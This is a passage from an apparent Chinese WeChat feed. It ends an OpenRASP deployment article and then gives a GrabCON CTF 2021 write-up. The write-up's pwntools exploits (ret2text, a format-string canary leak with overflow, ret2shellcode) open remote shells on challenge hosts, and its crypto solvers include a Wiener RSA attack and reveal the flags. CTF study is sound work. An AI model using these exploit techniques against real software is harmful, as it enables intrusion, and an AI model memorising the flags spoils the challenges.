10.5pt;font-family: 等线;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">在t</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">omcat服务器上搭建并部署OpenRASP，使用官方测试用例和fastjson反序列化用例进行演示。测试用例包含常见的web应用攻击，包括目录遍历、命令执行、ssr</span><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">f、fastjson反序列化等。</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;text-align: justify;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">遍历目录攻击演示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3992963940193492" data-s="300,640" style="" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=b98d7c7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBPk6BqzGaI3Y9m9ibVqN34VfrWXXibE4LH1ZFibywjiaS0h9Xr7klL6iaLUQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6467236467236467" data-s="300,640" style="" data-type="png" data-w="1053" src="https://wechat2rss.xlab.app/img-proxy/?k=454ed28e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBVSEXdCoVCecOz2pW4ly03q0TqbARCvR6NicdlDMMxjt6YloMITCAsCg%2F640%3Fwx_fmt%3Dpng"/><br/></p><p style="text-align: justify;"><br/></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2785793562708102" data-s="300,640" style="" data-type="png" data-w="901" src="https://wechat2rss.xlab.app/img-proxy/?k=412d101e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBg0CyjDaiaLnzpBQnK2IfGzJgkDMP5gH7c685CTiaj5qflZk2x2hl0UUg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left: 0pt;text-indent: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;line-height: 150%;margin-bottom: 5px;margin-top: 5px;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">        Fastjson反序列化攻击演示：</span></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15888778550148958" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=5ab9f4bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBTsFKPH3AibhbJmCk1ibI9CmK8E8rKsdITC03MweKRhdxrEMic3qjGF0cg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;"><br/></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5897683397683398" data-s="300,640" style="" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=b0e220c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBJM8yvs7ogibsSyD07I4kdAeqktnKQQQr4JDa9ZpslHzAb2micywQf9Xg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;"><br/></p><p style="text-align: justify;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30666666666666664" data-s="300,640" style="" data-type="png" data-w="825" src="https://wechat2rss.xlab.app/img-proxy/?k=afb9c81b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nIYLHvNTSYoCDlBOqZWy2aBiacKxQ5cX9X9wBsJMKYeFKRcmyDTjvD021BibP2WDkj5mwa0eGU2mT9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 10.5pt;font-family: 等线;font-weight: normal;margin-bottom: 10px;margin-top: 10px;"><span style="font-family: &#34;Times New Roman&#34;;font-size: 24px;">5. 总结</span></p><p style="margin-top: 0pt;margin-bottom: 0pt;margin-left: 0pt;font-size: 10.5pt;font-family: 等线;font-weight: normal;text-align: justify;text-indent: 24pt;line-height: 150%;"><span style="font-size:12.0pt;line-height:150%;font-family:Times New Roman;">传统的网络安全架构重点在于网络边界防护，通过在边界上部署防火墙、WAF、IDS/IPS等安全产品进行重重防护，而内网安全却没有受到重视。RASP不仅服务于南北向流量风险，还可以防护东西向流量，它可以嵌入在应用程序内部，应用代码无感知，更了解应用程序上下文，方便定位漏洞信息，产生更少的误报和漏报，对各种绕过手法具有更强的防护能力；但RASP会对服务器的性能造成影响，推动部署落地相对困难，且对不同的技术栈需要开发相应的探针，具有较大的技术难度。不过随着DevSecOps框架的发展以及云、容器等基础设施和技术的不断成熟，未来可能有更优的RASP部署方案，为web应用提供更细致入微的安全检查与防护。</span></p>



<p><a href="2247483807">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ab41c285&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483807%26idx%3D1%26sn%3D21c4b1a9198264bcd191266540cdf2a5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Sep 2021 14:38:00 +0800</pubDate>
    </item>
    <item>
      <title>GrabCON CTF 2021 WP</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483730&amp;idx=1&amp;sn=45f387bf9e06dfffcde192a1e8198a6f</link>
      <description>GrabCON CTF 2021的wp</description>
      <content:encoded><![CDATA[<p>
原创 <span>c3cili4</span> <span>2021-09-06 11:13</span> <span style="display: inline-block;"></span>
</p>

<p>GrabCON CTF 2021的wp</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4b024f7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtvPicY7WbwkrmD0QokPwnrmzWicVHj8oqqQwTs0T9n1DAZNLjPBtJFzcg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-top: 5px;margin-bottom: 5px;"><strong><span style="font-size: 24px;">1、Pwn</span></strong></p><p style="margin-bottom: 5px;margin-top: 5px;"><span style="font-size: 20px;"><strong>1.1、Easybin</strong></span></p><p>程序直接给了后门函数system(&#39;/bin/sh&#39;)，return2text即可获得shell</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *</span></code><code><span class="code-snippet_outer">sh=remote(<span class="code-snippet__string">&#34;35.205.161.145&#34;</span>,49153)</span></code><code><span class="code-snippet_outer">shell=0x401146</span></code><code><span class="code-snippet_outer">payload=b&#39;a&#39;*0x38+p64(shell)</span></code><code><span class="code-snippet_outer">sh.sendline(payload)</span></code><code><span class="code-snippet_outer">sh.interactive()</span></code></pre></section><p style="margin-bottom: 5px;margin-top: 5px;"><span style="font-size: 24px;"></span><span style="font-size: 20px;"><strong>1.2、Can You?</strong></span><br/></p><p style="min-height: 24px;">这题开了canary，但存在格式化字符串漏洞，可以读取canary的值，然后再进行溢出修改返回地址为system(&#39;/bin/sh&#39;)的地址</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39600665557404324" data-s="300,640" style="" data-type="png" data-w="601" src="https://wechat2rss.xlab.app/img-proxy/?k=418460d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtxianxW2KbCpibApkEf7iannKgicXLichKzxRNPJYHib04xV3DY3j6tScicsJA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">首先使用pwndbg调试，在printf处下断点，运行至此处输入%x.%x.%x.%x，得到第一个参数值为0xffffcea8</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22456140350877193" data-s="300,640" style="" data-type="png" data-w="285" src="https://wechat2rss.xlab.app/img-proxy/?k=ada89e20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtibQCR6aparSibzq9ZF9F8FcvNUM063qO67OyoU3UNH7Z63d38mwGPpwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">在栈中找到该值</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.09465020576131687" data-s="300,640" style="" data-type="png" data-w="243" src="https://wechat2rss.xlab.app/img-proxy/?k=ebfcc8a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtYiaqpJyW5vriaiaRCvgdYcJVULuzXmNoOylyfLR7GVicgk1P7FeJ7V2MkQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="min-height: 24px;">可以知道格式化字符串第一个参数的地址为0xffffce90，而canary在ebp-0ch处，即0xffffcf0c</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1483739837398374" data-s="300,640" style="" data-type="png" data-w="492" src="https://wechat2rss.xlab.app/img-proxy/?k=43c03f34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nK24yvrc4jXNQJicTsrAhgLtl1cZCuaNeXLsD76tMoFJHvKFaIT5qZkuEH56Q9wavDO5dPwnGWQibPA%2F640%3Fwx_fmt%3Dpng"/></p><p>由此可以计算0xffffcf0c-0xffffce90=124，即31个字节，编写exp如下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *</span></code><code><span class="code-snippet_outer">sh=remote(<span class="code-snippet__string">&#34;35.246.42.94&#34;</span>,31337)</span></code><code><span class="code-snippet_outer">sh.recvline()</span></code><code><span class="code-snippet_outer">payload1=b&#39;%31$p&#39;</span></code><code><span class="code-snippet_outer">sh.sendline(payload1)</span></code><code><span class="code-snippet_outer">canary=int(sh.recvline(),16)</span></code><code><span class="code-snippet_outer">print(canary)</span></code><code><span class="code-snippet_outer">system=0x08049236</span></code><code><span class="code-snippet_outer">payload2=b&#39;a&#39;*0x64+p32(canary)+b&#39;b&#39;*12+p32(system)</span></code><code><span class="code-snippet_outer">sh.sendline(payload2)</span></code><code><span class="code-snippet_outer">sh.interactive()</span></code></pre></section><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>1.3、Pwn CTF</strong></span></p><p><ne-p data-lake-id="u950163ff" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;">该题未开栈不可执行保护，并且泄露了输入字符串的首地址，可以构造shellcode，ret2shellcode</ne-text></ne-p></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">from pwn import *</span></code><code><span class="code-snippet_outer">sh=remote(&#39;35.246.42.94&#39;,1337)</span></code><code><span class="code-snippet_outer">sh.recvuntil(&#39;some &#39;)</span></code><code><span class="code-snippet_outer">addr=sh.recvuntil(&#39;!&#39;)[-11:-1]</span></code><code><span class="code-snippet_outer">print(addr)</span></code><code><span class="code-snippet_outer">addr=int(addr,16)</span></code><code><span class="code-snippet_outer">shellcode=asm(shellcraft.i386.sh(),arch = &#39;i386&#39;, os = &#39;linux&#39;)</span></code><code><span class="code-snippet_outer">payload=shellcode+b&#39;a&#39;*(0x12a-len(shellcode)+4)+p32(addr)</span></code><code><span class="code-snippet_outer">sh.sendline(payload)</span></code><code><span class="code-snippet_outer">sh.interactive()</span></code></pre></section><ne-p data-lake-id="u950163ff" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><strong style="color: rgb(51, 51, 51);font-size: 17px;text-align: justify;"><span style="font-size: 24px;">2、Crypto</span></strong></ne-p><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>2.1、Warm-up</strong></span></p><p style="min-height: 24px;">下载下来是一串</p><p style="min-height: 24px;">S01ZRENXU1NJVkhGUVZKUkpaRkZNMlNLSTVKVENWU0xLVlZYQVlLVElaTkVVVlRNS0pIRkc2U1dKVkpHV01LWEtaQ1VVVENXTlJORlNVS1dOUkdGS01EVUs1S0dXVlNLS1pDWFFUQ1ROUllFT1VUTE1STFZDTUxFSk5MR1c0Q0lLWVlEQ1RDWEtWMkZNVjJWTkJKRk1SS09MQktHV05EWktKV0U0VlNOTlJTRVdWVEtLSkxWR01CUklOTEdXNUNQS05XRkVSQ1dLWkhFSVVaUk9CTUZFMjJXS1ZKVENXU0tLWlZWVVJTVUdGTEZLVkNGR0ZIVTRSU1ZQRkdXWVRTTUtOVlRLVEtTR0ZSVEFVSlFNUkdGSVZUTUs1SkZNVExaS1pWWElWMk5OTkxFNFZUS0pKTFZJUkxRSlZKR1dNS1RLTVlEU1RDVk5OMkVRVjJXSlpLRk1WTFVKTkpUQ1VTRUtaV0U0VjJTR0JORklVU1dNUkxGTVJMVUpSSldXNkNYS0lZVlVSQ1RHQVlVT1ZDRk1STUU0VktPS0ZKVENTU0VLWldGTVZLUkdGU0U2VkxMTVJNVktNS1dNRktXV09LREtFWUZVVUNWTk4yRVFVWlJPQkdGTVJLT0s1S1RBM0NNS0pWWFFTQ1hLWlNFSVZMTE1SRFZJMjIySlJMR1dUU0hLSVlWVVMyV05OU0ZHVTMySkpGRksyM0VLVklWTVVTVUtSS1hJVDJXR0JORk1WTDJKSk1GRU1DMktOTEVLUlNXS05XRU1VQ1JOTlNFT1ZEMkpGNUZPVkxMR0ZKVEFXU09LWVlVNFJTVEdGWUVJVlJRTlJKRTIyWlZKNUtHV05LR0tWTEZVVkNXTk00VUdVM0xMSkZGSzIzWUtKSldXU1NMS0lZV0dNS1JHRkpFWVZMTEpaTVZLVlNPSlJLVEE1Q1NLNUtWRVZDV0tWSEZNVVJRSVVZRk0yMkdLWkpXVVZTSktaS0RBT0tRS1FZRFNVQ1JIVTZRPT09PQ==</p><p style="min-height: 24px;">根据题意就base64与base32一直解，各解5次出来结果</p><p style="min-height: 24px;">GrabCON{dayuum_s0n!}</p><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>2.2、Poke Ball RSA</strong></span></p><p><ne-p data-lake-id="ubb893056" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;">e很大，考虑小解密指数d，使用wiener攻击求解d</ne-text></ne-p></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">n = <span class="code-snippet__number">498934084350094415783044823223130007435556803301613073259727203199325937230080661117917023582579699673759861892703348357714077684549303787581429366922208568924252052118455313229534699860304480039147103608782140303489222166267907007839021544433148286217133494762766492655602977085105487216032806292874190551319</span></span></code><code><span class="code-snippet_outer">e = <span class="code-snippet__number">134901827939710543990222584187396847806193644190423846456160711527109836908087675183249532946675670587286594441908191054495871501233678465783530503352727362726294270065122447852357566161748618195216611965946646411519602447104878893524856862722902833460104389620397589021732407447981724307130484482495521398799</span></span></code><code><span class="code-snippet_outer">c = <span class="code-snippet__number">100132888193232309251839777842498074992587507373917163874335385921940537055226546911990198769720313749286675018486390873216490470403470144298153410686092752282228631590006943913867497072931343354481759219425807850047083814816718302223434388744485547550941814186146959750515114700335721173624212499886218608818</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> hashlib</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> Crypto.Util.number <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> gmpy2 <span class="code-snippet__keyword">import</span> *</span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">ContinuedFraction</span><span class="code-snippet__params">()</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">__init__</span><span class="code-snippet__params">(self , numerator, denumerator)</span>:</span></span></code><code><span class="code-snippet_outer">        self.numberlist = []    <span class="code-snippet__comment">#number in continued fraction</span></span></code><code><span class="code-snippet_outer">        self.fractionlist = []  <span class="code-snippet__comment">#the near fraction list</span></span></code><code><span class="code-snippet_outer">        self.GenerateNumberList(numerator , denumerator)</span></code><code><span class="code-snippet_outer">        self.GenerateFractionList()</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">GenerateNumberList</span><span class="code-snippet__params">(self,numerator,denumerator)</span>:</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">while</span> numerator != <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">            quotient = numerator//denumerator</span></code><code><span class="code-snippet_outer">            remainder = numerator % denumerator</span></code><code><span class="code-snippet_outer">            self.numberlist.append(quotient)</span></code><code><span class="code-snippet_outer">            numerator = denumerator</span></code><code><span class="code-snippet_outer">            denumerator = remainder</span></code><code><span class="code-snippet_outer">    </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">GenerateFractionList</span><span class="code-snippet__params">(self)</span>:</span></span></code><code><span class="code-snippet_outer">        self.fractionlist.append([self.numberlist[<span class="code-snippet__number">0</span>] ,<span class="code-snippet__number">1</span> ])</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> range(<span class="code-snippet__number">1</span>,len(self.numberlist)):</span></code><code><span class="code-snippet_outer">            numerator = self.numberlist[i]</span></code><code><span class="code-snippet_outer">            denumerator = <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> j <span class="code-snippet__keyword">in</span> range(i):</span></code><code><span class="code-snippet_outer">                temp = numerator</span></code><code><span class="code-snippet_outer">                numerator = denumerator + numerator * self.numberlist[i-j<span class="code-snippet__number">-1</span>]</span></code><code><span class="code-snippet_outer">                denumerator = temp</span></code><code><span class="code-snippet_outer">            self.fractionlist.append([numerator,denumerator])</span></code><code><span class="code-snippet_outer">            </span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">Solve</span><span class="code-snippet__params">(a , b , c)</span>:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#39;&#39;&#39;solve ax^2+bx+c=0 , return x1 , x2&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer">    delta = b**<span class="code-snippet__number">2</span> - <span class="code-snippet__number">4</span> * a * c</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> delta &lt; <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> is_square(delta):</span></code><code><span class="code-snippet_outer">        sqr_delta = isqrt(delta)</span></code><code><span class="code-snippet_outer">        temp1 = -b + sqr_delta</span></code><code><span class="code-snippet_outer">        temp2 = -b - sqr_delta</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> temp1 % (<span class="code-snippet__number">2</span>*a) != <span class="code-snippet__number">0</span> <span class="code-snippet__keyword">or</span> temp2 % (<span class="code-snippet__number">2</span>*a) != <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> [temp1//(<span class="code-snippet__number">2</span>*a) , temp2//(<span class="code-snippet__number">2</span>*a)]</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">WienersAttack</span><span class="code-snippet__params">(e , N)</span>:</span></span></code><code><span class="code-snippet_outer">    a = ContinuedFraction(e , N)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> i <span class="code-snippet__keyword">in</span> a.fractionlist:</span></code><code><span class="code-snippet_outer">        k = i[<span class="code-snippet__number">0</span>]</span></code><code><span class="code-snippet_outer">        d = i[<span class="code-snippet__number">1</span>]</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> k == <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">continue</span></span></code><code><span class="code-snippet_outer">        fai_N = (d * e - <span class="code-snippet__number">1</span>) // k</span></code><code><span class="code-snippet_outer">        b = fai_N - N - <span class="code-snippet__number">1</span></span></code><code><span class="code-snippet_outer">        temp = Solve(<span class="code-snippet__number">1</span> , b , N)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> isinstance(temp ,list):</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">#print(d)</span></span></code><code><span class="code-snippet_outer">            p ,q = temp</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> d , p , q</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">d, p, q = WienersAttack(e, n)</span></code><code><span class="code-snippet_outer">m=pow(c,d,n)</span></code><code><span class="code-snippet_outer">print(long_to_bytes(m))</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#得到m为b&#39;e=2,c=9019127052844164572606928250741960583163943438936945828390420331200602392329&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#对c开根号得到flag:GrabCON{((^_^))}</span></span></code></pre></section><ne-p data-lake-id="ubb893056" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;"></ne-text><br/></ne-p><ne-p data-lake-id="ubb893056" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><strong style="font-size: 20px;color: rgb(51, 51, 51);text-align: justify;">2.3、Old Monk&#39;s Password</strong></ne-p><p>enc、enc1和enc2都是用flag加密后得到的密文，每次加密开始的i不同。因此只需还原出第一个加密的i即可根据加密逻辑编写解密脚本，得到flag</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">enc</span> = <span class="code-snippet__string">b&#39;\x0cYUV\x02\x13\x16\x1a\x01\x04\x05C\x00\twcx|z(((%.)=K%(&gt;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">enc1</span> = <span class="code-snippet__string">b&#39;\x0bPPS\r\x0b\x02\x0f\x12\r\x03_G\t\x08yb}v+--*+*8=W,&gt;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">enc2 </span>=<span class="code-snippet__string"> b&#39;\x07A[\x06\\\r\x15\t\x04\x07\x18VG]U]@\x02\x08&amp;9&amp;%\&#39; 41&#34;.;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">import</span> <span class="code-snippet__string">codecs</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">import</span> <span class="code-snippet__string">random</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">class</span> <span class="code-snippet__string">pass_w:</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">x</span> = <span class="code-snippet__string">&#34;hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">def</span> <span class="code-snippet__string">encode(self, text, i = -1):</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">if</span> <span class="code-snippet__string">i &lt; 0 or i &gt; len(self.x) + 1:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">i</span> = <span class="code-snippet__string">random.randint(0, len(self.x) + 1)</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">out</span> = <span class="code-snippet__string">chr(i)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">for</span> <span class="code-snippet__string">c in text:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">out</span> <span class="code-snippet__string">+= chr(ord(c) ^ ord(self.x[i]))</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__attr">i</span> = <span class="code-snippet__string">(i + 1)%79                 </span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">return</span> <span class="code-snippet__string">codecs.encode(out)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#39;&#39;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">x</span> = <span class="code-snippet__string">&#34;hjlgyjgyj10hadanvbwdmkw00OUONBADANKHM;IMMBMZCNihaillm&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">text</span>=<span class="code-snippet__string">codecs.decode(enc1)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">i</span>=<span class="code-snippet__string">ord(text[0])</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">password</span>=<span class="code-snippet__string">&#39;&#39;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">for</span> <span class="code-snippet__string">t in range(1,len(text)):</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__meta">password+</span>=<span class="code-snippet__string">chr(ord(text[t])^ord(x[i]))</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">i</span>=<span class="code-snippet__string">(i+1)%79</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">print(password)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#得到password为817letmein40986728ilikeapples，用GrabCON包裹即为flag</span></span></code></pre></section><p style="margin-top: 5px;margin-bottom: 5px;"><span style="font-size: 20px;"><strong>2.4、The Anceint Temple</strong></span></p><ne-p data-lake-id="u4b3351a0" style="color: rgb(0, 0, 0);font-size: medium;text-align: start;white-space: normal;box-sizing: border-box;display: block;min-height: 24px;"><ne-text style="box-sizing: border-box;">题目代码如下：</ne-text><span style="color: inherit;font-family: inherit;font-size: inherit;font-variant-ligatures: contextual;"></span></ne-p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">M, s, l, C = <span class="code-snippet__number">7777771</span>, [], <span class="code-snippet__number">1337</span>, [] </span></code><code><span class="code-snippet_outer">n=[]</span></code><code><span class="code-snippet_outer">flag = <span class="code-snippet__string">&#34;REDACTED&#34;</span></span></code><code><span class="code-snippet_outer">k = [list(map(<span class="code-snippet__keyword">int</span>, list(<span class="code-snippet__string">&#39; &#39;</span>.<span 